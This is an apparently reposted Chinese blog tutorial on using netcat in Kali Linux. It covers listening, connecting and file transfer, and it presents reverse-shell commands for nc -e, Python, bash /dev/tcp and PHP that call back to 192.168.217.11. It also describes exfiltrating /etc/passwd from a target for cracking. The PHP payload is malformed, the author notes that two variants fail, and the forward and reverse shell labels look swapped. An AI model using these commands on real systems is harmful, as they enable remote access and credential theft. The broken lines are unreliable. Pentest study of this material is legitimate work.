0


Kali-nc(瑞士军刀)使用

Netcat(简称nc)主要用于两台设备之间的交互,即侦听模式/传输,是一款强大的命令行网络工具,用来在两台机器之间建立TCP/UDP连接,并通过标准的输入输出进行数据的读写。

Command

Summary

Command

Summary

-h

帮助信息

-u

UDP模式

-r

随机本地及远程端口

-n

指定数字的IP地址,不能域名服务器

-i

secs 延时的间隔

-v

详细输出——用两个-v可得到更详细的内容

-s

addr本地源地址

-o

file记录16进制的传输

-l

监听模式,用于入站连接

-w

secs timeout 的时间

-t

使用TELNET交互方式

-p

port 本地端口号

-L

连接关闭后,仍然继续监听

-z

将输入输出关掉——用于扫描时

-e

主要用来在渗透过程中反弹shell

nc三种使用方式

  1. 实现连接通讯

建立连接(服务端——客户端);

服务端:nc -lnvp +端口

客户端:nc + 服务端IP + 端口

代表监听本地的端口,输出结果不加域名。

  1. 传输文件内容

从客户端传输给服务端,此方法可以用来传递/etc/passwd等口令或密钥信息,获取后可以考虑爆破;

服务端(kali):nc -lvp +端口 > 文件完整名 客户端(靶机):nc + 服务端IP + 端口 < 文件完整名

3. 获取shell

netcat主要用来在渗透过程中反弹shell,获取shell分为两种,一种是正向shell,一种是反向shell:

如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell;

如果是客户端连接服务器,服务器端想要获取客户端的 shell,那么称为反向shell。

个人理解:对于client——server而言,正向反向,都是server端连接client端,正向为监听端口在server端,反向为监听端口在client端。

比如,server端监听9999端口,client直接连接9999端口,使得server端获得client的shell权限,这就是正向shell;

反之,client端监听9999端口,server端连接9999端口,使得server端获得client的shell权限,这就是反向shell;

正向shell演示

服务端:nc -lvp + 端口

客户端:nc + 服务端IP + 端口 -e /bin/bash

反向shell演示

服务端:nc -lvp + 端口 -e /bin/bash

客户端:nc + 服务端IP + 端口

客户端没有nc怎么办?如何反弹shell?

可以看是否有python环境?

有的话,用python来反弹shell;

python代替反弹shell脚本:

import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(("192.168.217.11",9999));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/bash","-i"]);

还可以用bash等来反弹;(实际使用报错)

bash -i >& /dev/tcp/ip/1234 0>&1

还可以用php等来反弹;(实际使用报错)

php -r '$sock=fsockopen("192.168.217.11",9999);exec("/bin/sh -i &3 2>&3");'

标签: linux 安全

本文转载自: https://blog.csdn.net/m0_56788835/article/details/127204379
版权归原作者 兔子扛刀 所有, 如有侵权,请联系我们删除。

“Kali-nc(瑞士军刀)使用”的评论:

还没有评论